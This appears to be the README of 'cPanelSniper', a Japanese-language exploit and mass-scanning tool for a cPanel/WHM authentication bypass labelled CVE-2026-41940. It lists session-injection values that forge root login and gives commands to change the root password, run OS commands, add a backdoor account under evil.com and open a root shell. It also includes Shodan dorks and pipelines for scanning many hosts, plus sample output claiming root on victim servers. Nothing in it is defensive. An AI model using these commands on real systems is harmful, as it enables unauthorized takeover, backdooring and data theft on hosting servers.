██████╗██████╗  █████╗ ███╗   ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗  ██║██╔════╝██║
██║     ██████╔╝███████║██╔██╗ ██║█████╗  ██║
██║     ██╔═══╝ ██╔══██║██║╚██╗██║██╔══╝  ██║
╚██████╗██║     ██║  ██║██║ ╚████║███████╗███████╗
 ╚═════╝╚═╝     ╚═╝  ╚═╝╚═╝  ╚═══╝╚══════╝╚══════╝

 ██████╗██╗   ██╗███████╗
██╔════╝██║   ██║██╔════╝
██║     ██║   ██║█████╗
██║     ╚██╗ ██╔╝██╔══╝
╚██████╗ ╚████╔╝ ███████╗
 ╚═════╝  ╚═══╝  ╚══════╝

███████╗██╗  ██╗██████╗ ██╗      ██████╗ ██╗████████╗
██╔════╝╚██╗██╔╝██╔══██╗██║     ██╔═══██╗██║╚══██╔══╝
█████╗   ╚███╔╝ ██████╔╝██║     ██║   ██║██║   ██║
██╔══╝   ██╔██╗ ██╔═══╝ ██║     ██║   ██║██║   ██║
███████╗██╔╝ ██╗██║     ███████╗╚██████╔╝██║   ██║
╚══════╝╚═╝  ╚═╝╚═╝     ╚══════╝ ╚═════╝ ╚═╝   ╚═╝

root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

pip install -r requirements.txt   # オプション — selenium のみ

git clone https://github.com/YOUR_USERNAME/cpanel-cve-exploit.git
cd cpanel-cve-exploit

python3 test-cve.py --help

# 単一の WHM ターゲットをスキャン
python3 test-cve.py -u https://target.com:2087

# ポストエクスプロイトでスキャン：すべての cPanel アカウントを一覧表示
python3 test-cve.py -u https://target.com:2087 --action list

# ファイルから大量スキャン、20 スレッド、JSON レポートを保存
python3 test-cve.py -l targets.txt -t 20 -o results.json

usage: test-cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
                   [-t THREADS] [--timeout TIMEOUT] [--rate-limit RATE_LIMIT]
                   [--action {list,passwd,cmd,exec,info,version,shell,adduser}]
                   [--passwd PASSWD] [--cmd CMD]
                   [--new-user NEW_USER] [--new-domain NEW_DOMAIN]
                   [--read-file READ_FILE] [--selenium]
                   [--engine {chrome,firefox}] [--browser] [--check-rce]
                   [-o OUTPUT] [--no-color]

# バイパス後に root パスワードを変更
python3 test-cve.py -u https://target.com:2087 --action passwd --passwd 'P@ss2026!'

# リモートコマンドを実行
python3 test-cve.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"

# バックドア cPanel アカウントを作成
python3 test-cve.py -u https://target.com:2087 \
  --action adduser --new-user backdoor --new-domain evil.com --passwd 'TempPass2026!'

# インタラクティブ WHM シェルを開く
python3 test-cve.py -u https://target.com:2087 --action shell

# Chrome 経由で自動ログイン
python3 test-cve.py -u https://target.com:2087 --selenium --engine chrome

# 手動ブラウザログイン（DevTools コンソール用 JS を表示）
python3 test-cve.py -u https://target.com:2087 --browser

[email protected] ▶ help

  id / whoami / hostname / version  → サーバー情報
  ls [path]                         → ファイル一覧
  cat [path]                        → ファイル内容の読み取り
  accounts                          → cPanel アカウント一覧
  addadmin <user> <pass>            → WHM 管理者/リセラーを作成
  passwd <newpass>                  → root パスワードを変更
  exec <command>                    → OS コマンドを実行
  exit / quit                       → シェルを終了

[email protected] ▶ id
  uid=0(root) gid=0(root) groups=0(root)

[email protected] ▶ accounts
  user=webuser1          domain=example.com          [email protected]
  user=webuser2          domain=test.com             [email protected]

[email protected] ▶ cat /etc/passwd

[email protected] ▶ exit

python3 test-cve.py -l targets.txt -t 20 -o results.json

cat urls.txt | python3 test-cve.py

# subfinder + httpx パイプライン
subfinder -d example.com -silent | httpx -p 2087 -silent | python3 test-cve.py -t 30

# Shodan パイプライン
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' | python3 test-cve.py -t 30 -o shodan_results.json

title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"WHM"
ssl:"cpanel" port:2087

{
  "scanner": "cPanelSniper v2.0",
  "cve": "CVE-2026-41940",
  "timestamp": "2026-05-23T12:00:00.000000",
  "findings": [
    {
      "severity": "CRIT",
      "title": "CVE-2026-41940 — cPanel & WHM Authentication Bypass",
      "target": "https://target.com:2087",
      "canonical": "server.target.com",
      "session": "root:SessionName",
      "token": "/cpsess1234567890",
      "version": "11.126.0.50",
      "api_url": "https://target.com:2087/cpsess1234567890/json-api/version",
      "evidence": "{\"version\":\"11.126.0.50\"...}",
      "cve": "CVE-2026-41940",
      "cvss": "10.0",
      "timestamp": "2026-05-23T12:00:05.000000"
    }
  ]
}

══════════════════════════════════════════════════════════════════════
  cPanelSniper — CVE-2026-41940 スキャン完了
  時間: 12.4s  ·  ターゲット数: 50
──────────────────────────────────────────────────────────────────────

  ⚡ 2 件の脆弱なターゲット

  ターゲット : https://victim1.com:2087
  バージョン : 11.126.0.50
  トークン   : /cpsess1234567890
  API URL    : https://victim1.com:2087/cpsess1234567890/json-api/version
  証拠       : {"version":"11.126.0.50"...}

══════════════════════════════════════════════════════════════════════

$ python3 test-cve.py -u https://target.com:2087

  設定:
   ターゲット : 1
   スレッド   : 10
   タイムアウト : 15s
   アクション : スキャンのみ

12:00:01 [INFO] 正規ホスト名を検出: server.target.com
12:00:02 [  OK] ステージ1: プリオースセッション = root:abc123...
12:00:03 [  OK] ステージ2: HTTP 307 → トークン=/cpsess1234567890
12:00:04 [  OK] ステージ3: HTTP 401 — do_token_denied ガジェット発動
12:00:05 [INFO] ステージ4: HTTP 200  {"version":"11.126.0.50"...}
12:00:05 [PWND] CVE-2026-41940 確認 — WHM ルートアクセス! (v11.126.0.50 — 脆弱性確認済み)
12:00:05 [PWND]   トークン    : /cpsess1234567890
12:00:05 [PWND]   セッション  : root:abc123...
12:00:05 [PWND]   バージョン  : 11.126.0.50
12:00:05 [PWND]   API URL    : https://target.com:2087/cpsess1234567890/json-api/version

cpanel-cve-exploit/
├── test-cve.py        # メインスキャナー＆エクスプロイトツール（単一ファイル）
├── requirements.txt   # オプション: selenium
├── README.md          # 英語ドキュメント
└── README.fa.md       # ペルシア語ドキュメント (فارسی)